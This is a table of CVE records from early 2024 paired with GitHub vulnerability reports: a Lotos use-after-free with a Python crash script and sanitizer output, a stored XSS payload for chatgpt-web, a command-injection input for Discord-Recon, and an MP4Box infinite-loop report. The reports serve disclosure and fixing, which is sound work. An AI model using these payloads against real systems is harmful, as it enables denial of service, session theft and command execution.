| Remote buffer overflow in main.c | https://api.github.com/repos/foxweb/pico/issues/31/comments | 1 | 2024-01-03T18:18:40Z | 2024-01-26T08:04:40Z | https://github.com/foxweb/pico/issues/31 | 2,064,459,091 | 31 | 5,890 |
CVE-2024-22088 | 2024-01-05T04:15:07.930 | Lotos WebServer through 0.1.1 (commit 3eb36cc) has a use-after-free in buffer_avail() at buffer.h via a long URI, because realloc is mishandled. | {
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"416"
] | 416 | https://github.com/chendotjs/lotos/issues/7 | [
"Exploit",
"Issue Tracking",
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"Vendor Advisory"
] | github.com | [
"chendotjs",
"lotos"
] | Hi!
After executing my fuzz tests I discovered a remote use-after-free vulnerability in static inline size_t buffer_avail(const buffer_t *pb) at buffer.h, line 25:
https://github.com/chendotjs/lotos/blob/3eb36cc3723a1dc9bb737505f0c8a3538ee16347/src/buffer.h#L25
Any project that utilizes lotos (including the existing forks of this repo) are potentially vulnerable. Depending on the implementation, this can lead to undefined behavior, denial of service, or authentication bypass.
### Makefile Modifications
The following modifications were made to the Makefile to compile lotos with address sanitizer and debug symbols. The purpose of this is to track and verify the location of the use-after-free vulnerability:
```
CFLAGS=-std=c99 -Wall -O3 -DNDEBUG -DUSE_MEM_POOL=1 -fsanitize=address -g
OPTFLAGS=
OBJS=misc.o ssstr.o dict.o lotos_epoll.o buffer.o request.o response.o \
connection.o http_parser.o server.o mem_pool.o main.o
lotos : $(OBJS)
$(CC) $(CFLAGS) $^ -o $@ $(OPTFLAGS)
test :
make -C ./test
make test -C ./test
format :
find . -iname '*.[ch]' -exec clang-format -i -style="{ColumnLimit: 80}" {} +
clean :
rm -f *.o lotos
.PHONY : test clean format
```
### Compiling Lotos
```
$ cd lotos/src/
$ make && make test
```
### Proof of Concept Python3 Script
Save the following script to a file named poc.py. The script will send an HTTP request with a malformed URI to lotos and wait for a response. More specifically, the code will send an HTTP request with a URI containing 20,000 bytes:
```
#!/usr/bin/env python3
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("localhost", 8888))
sock.send(b"GET /"+b"?"*20000+b" HTTP/1.1\r\nHost:localhost:8001\r\n\r\n")
response = sock.recv(4096)
sock.close()
```
### Starting Lotos
```
./lotos -r ../www
```
### Executing our Python3 Script
```
# python3 poc.py
```
### Address Sanitizer Output
The following output was produced by address sanitizer:
```
==415636==ERROR: AddressSanitizer: heap-use-after-free on address 0x625000002904 at pc 0x5585539a14ec bp 0x7ffc148a9370 sp 0x7ffc148a9368
READ of size 4 at 0x625000002904 thread T0
#0 0x5585539a14eb in buffer_avail /home/kali/projects/fuzzing/lotos/src/buffer.h:25
#1 0x5585539a14eb in buffer_cat /home/kali/projects/fuzzing/lotos/src/buffer.c:44
#2 0x5585539a1935 in request_recv /home/kali/projects/fuzzing/lotos/src/request.c:137
#3 0x5585539a34f8 in request_handle /home/kali/projects/fuzzing/lotos/src/request.c:144
#4 0x55855399fc4a in main /home/kali/projects/fuzzing/lotos/src/main.c:81
#5 0x7fc8c68456c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
#6 0x7fc8c6845784 in __libc_start_main_impl ../csu/libc-start.c:360
#7 0x55855399fe80 in _start (/home/kali/projects/fuzzing/lotos/src/lotos+0x6e80) (BuildId: f69cadb3b591a9b1911fbc4bf465035606fb00ae)
0x625000002904 is located 4 bytes inside of 8201-byte region [0x625000002900,0x625000004909)
freed by thread T0 here:
#0 0x7fc8c6ad74b5 in __interceptor_realloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:85
#1 0x5585539a13f1 in buffer_cat /home/kali/projects/fuzzing/lotos/src/buffer.c:60
previously allocated by thread T0 here:
#0 0x7fc8c6ad85bf in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
#1 0x5585539a11bd in buffer_new /home/kali/projects/fuzzing/lotos/src/buffer.c:10
#2 0x5585539a11bd in buffer_init /home/kali/projects/fuzzing/lotos/src/buffer.c:7
SUMMARY: AddressSanitizer: heap-use-after-free /home/kali/projects/fuzzing/lotos/src/buffer.h:25 in buffer_avail
Shadow bytes around the buggy address:
0x625000002680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x625000002700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x625000002780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x625000002800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x625000002880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x625000002900:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x625000002980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x625000002a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x625000002a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x625000002b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x625000002b80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==415636==ABORTING
```
The error occurs in the buffer_avail function, which is called from buffer_cat in the buffer.c file. The problematic access occurs after a call to realloc in buffer_cat:
https://github.com/chendotjs/lotos/blob/3eb36cc3723a1dc9bb737505f0c8a3538ee16347/src/buffer.c#L51-L60
When realloc is called, it may move the memory block to a new location if the new size cannot be accommodated in the existing space. This means the pointer to the buffer (buffer_t *pb) could become invalid if realloc moves the memory.
After reallocating, any existing pointers to the old memory location become invalid. If you try to use the old pointer (pb) without updating it to the new memory location returned by realloc it leads to undefined behavior, which is what AddressSanitizer is catching.
### Mitigation
There are many moving pieces in this repo, but the following code added to request.c can mitigate this vulnerability. Ultimately to maintain the current functionality and prevent the use-after-free vulnerability, a check is added to line 130 in request.c so all requests greater than 5000 bytes are dropped:
Old Code in request.c, line 130:
```
if (len == ERROR) {
```
Updated Code in request.c, line 130:
```
if (len == ERROR || len>5000) {
```
The length of 5000 can be modified to meet your specific needs. Keep in mind, the use-after-free occurs at roughly 8154 bytes in the URI.
### References
* https://cwe.mitre.org/data/definitions/416.html
* https://learn.snyk.io/lesson/use-after-free/
* https://owasp.org/www-community/vulnerabilities/Using_freed_memory#:~:text=Use%20after%20free%20errors%20occur,conditions%20and%20other%20exceptional%20circumstances
| Use-After-Free in buffer_avail() through version 0.1.1 (commit 3eb36cc) | https://api.github.com/repos/chendotjs/lotos/issues/7/comments | 0 | 2023-12-28T21:49:07Z | 2023-12-28T21:49:07Z | https://github.com/chendotjs/lotos/issues/7 | 2,058,846,456 | 7 | 5,891 |
CVE-2023-7215 | 2024-01-08T02:15:14.027 | A vulnerability, which was classified as problematic, has been found in Chanzhaoyu chatgpt-web 2.11.1. This issue affects some unknown processing. The manipulation of the argument Description with the input <image src onerror=prompt(document.domain)> leads to cross site scripting. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-249779. | {
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] | 79 | https://github.com/Chanzhaoyu/chatgpt-web/issues/2001 | [
"Exploit",
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] | github.com | [
"Chanzhaoyu",
"chatgpt-web"
] | # Security Alert: XSS Vulnerability Discovered in Description Parameter
🚨 I've identified a critical security issue in our application. This concerns a Cross-Site Scripting (XSS) vulnerability found in the Description parameter. It's crucial we address this to prevent unauthorized access and potential harm.
## What's Happening?
### Vulnerability Insight:
The Description parameter is accepting XSS payloads. This Vulnerability can lead to stored XSS attacks, enabling unauthorized users to steal sessions and execute harmful JavaScript code.
## Proof of Concept (POC):
### Exploiting the Vulnerability:
1. **Step 1:** Inject an XSS payload into a photo element, like so:
```html
<image src onerror=prompt(document.domain)>
Step 2: Upon saving and refreshing the page, the malicious code executes, demonstrating the vulnerability.
### Recommendation
• Revisit the entire application and validate the user input on the server side.
• Apply an allowlisting technique to filter out unexpected input.
• Sanitize the data collected from input fields before further processing.
| Vulnerability : Stored Xss on Description parameter | https://api.github.com/repos/Chanzhaoyu/chatgpt-web/issues/2001/comments | 2 | 2023-12-21T23:40:35Z | 2024-01-05T01:45:55Z | https://github.com/Chanzhaoyu/chatgpt-web/issues/2001 | 2,053,178,132 | 2,001 | 5,892 |
CVE-2024-21663 | 2024-01-09T00:15:44.790 | Discord-Recon is a Discord bot created to automate bug bounty recon, automated scans and information gathering via a discord server. Discord-Recon is vulnerable to remote code execution. An attacker is able to execute shell commands in the server without having an admin role. This vulnerability has been fixed in version 0.0.8.
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] | 77 | https://github.com/DEMON1A/Discord-Recon/issues/23 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"DEMON1A",
"Discord-Recon"
] | ## Summary
The prips command in the Discord Recon project is vulnerable to command injection. It lacks proper input sanitization, allowing potential attackers to execute arbitrary commands through user input, which is then passed to the subprocess.Popen function.
Screenshot of vulnerable code
Bug Location:[app.py#L160](https://github.com/DEMON1A/Discord-Recon/blob/main/app.py#L160)
Proof of Concept:
An example payload demonstrating the command injection vulnerability is provided below:
.prips 74.125.227.0/29;ls
## Command injection PoC
## Impact
If exploited, this vulnerability could lead to unauthorized execution of arbitrary commands with the privileges of the process running the Python script. This may result in unauthorized access, data manipulation, or other malicious activities depending on the context in which the vulnerable code is used.
## Recommendation
To mitigate this issue, it is crucial to validate and sanitize user input before passing it to the subprocess.Popen function. Consider using input validation libraries or sanitization techniques to ensure that only safe and expected input is processed.
Additionally, it's recommended to use subprocess functions that allow passing arguments as a list rather than a single string to avoid shell injection vulnerabilities.
| Command Injection via prips command | https://api.github.com/repos/DEMON1A/Discord-Recon/issues/23/comments | 3 | 2024-01-08T07:05:22Z | 2024-01-08T23:15:05Z | https://github.com/DEMON1A/Discord-Recon/issues/23 | 2,069,850,591 | 23 | 5,893 |
CVE-2023-50120 | 2024-01-10T09:15:44.290 | MP4Box GPAC version 2.3-DEV-rev636-gfbd7e13aa-master was discovered to contain an infinite loop in the function av1_uvlc at media_tools/av_parsers.c. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted MP4 file. | {
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"attackComplexity": "LOW",
"attackVector": "LOCAL",
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"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"version": "3.1"
},
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"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
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"tags": [
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"url": "https://github.com/gpac/gpac/issues/2698"
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"url": "https://github.com/gpac/gpac/issues/2698"
}
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"nodes": [
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"cpeMatch": [
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"criteria": "cpe:2.3:a:gpac:gpac:2.3:dev:*:*:*:*:*:*",
"matchCriteriaId": "0099B624-674B-4F45-9270-DD638617A1D1",
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"Exploit",
"Issue Tracking"
] | github.com | [
"gpac",
"gpac"
] | 1.Version
MP4Box - GPAC version 2.3-DEV-rev636-gfbd7e13aa-master
(c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - https://gpac.io
Please cite our work in your research:
GPAC Filters: https://doi.org/10.1145/3339825.3394929
GPAC: https://doi.org/10.1145/1291233.1291452
GPAC Configuration: --static-bin --enable-sanitizer
Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D
2.Program Output
[iso file] Parsing a top-level box at position 0
[iso file] Read Box type ftyp size 32 start 0
[iso file] Parsing a top-level box at position 32
[iso file] Read Box type mv@d size 108 start 32
[iso file] Unknown top-level box type mv@d
[iso file] Parsing a top-level box at position 140
[iso file] Read Box type av1C size 363 start 140
[AV1] parsed AV1 OBU type=7 size=99 at position 152.
[AV1] AV1 unexpected OBU type=152 size=0 found at position 140056310360544. Forwarding.
[AV1] parsed AV1 OBU type=1 size=12 at position 251.
[AV1] parsed AV1 OBU type=1 size=12 at position 263.
[AV1] parsed AV1 OBU type=1 size=12 at position 275.
[AV1] parsed AV1 OBU type=1 size=12 at position 287.
[AV1] parsed AV1 OBU type=2 size=25 at position 299.
[AV1] AV1 unexpected OBU type=299 size=0 found at position 140056310360544. Forwarding.
[AV1] parsed AV1 OBU type=2 size=52 at position 324.
[AV1] AV1 unexpected OBU type=324 size=0 found at position 140056310360544. Forwarding.
[AV1] parsed AV1 OBU type=1 size=12 at position 376.
[AV1] parsed AV1 OBU type=1 size=12 at position 388.
[AV1] parsed AV1 OBU type=1 size=12 at position 400.
[AV1] parsed AV1 OBU type=1 size=12 at position 412.
[AV1] parsed AV1 OBU type=1 size=12 at position 424.
[AV1] parsed AV1 OBU type=1 size=12 at position 436.
[AV1] parsed AV1 OBU type=1 size=12 at position 448.
[AV1] parsed AV1 OBU type=1 size=12 at position 460.
[AV1] parsed AV1 OBU type=1 size=12 at position 472.
[AV1] parsed AV1 OBU type=1 size=12 at position 484.
[BS] Attempt to overread bitstream
3.Reproduction
./MP4Box -v $poc
4.PoC
https://www.mediafire.com/file/fspsarzrcbfceha/hangPoC/file
5.Impact
This vulnerability can result in an infinite loop or lead to a denial-of-service (DoS) condition.
6.Env
Linux ubuntu 5.4.0-84-generic #94~18.04.1-Ubuntu SMP Thu Aug 26 23:17:46 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
7.Credit
hu1y40 | Infinite loop in av1_uvlc media_tools/av_parsers.c:1664 | https://api.github.com/repos/gpac/gpac/issues/2698/comments | 1 | 2023-12-01T04:51:55Z | 2023-12-01T10:00:42Z | https://github.com/gpac/gpac/issues/2698 | 2,020,058,777 | 2,698 | 5,894 |
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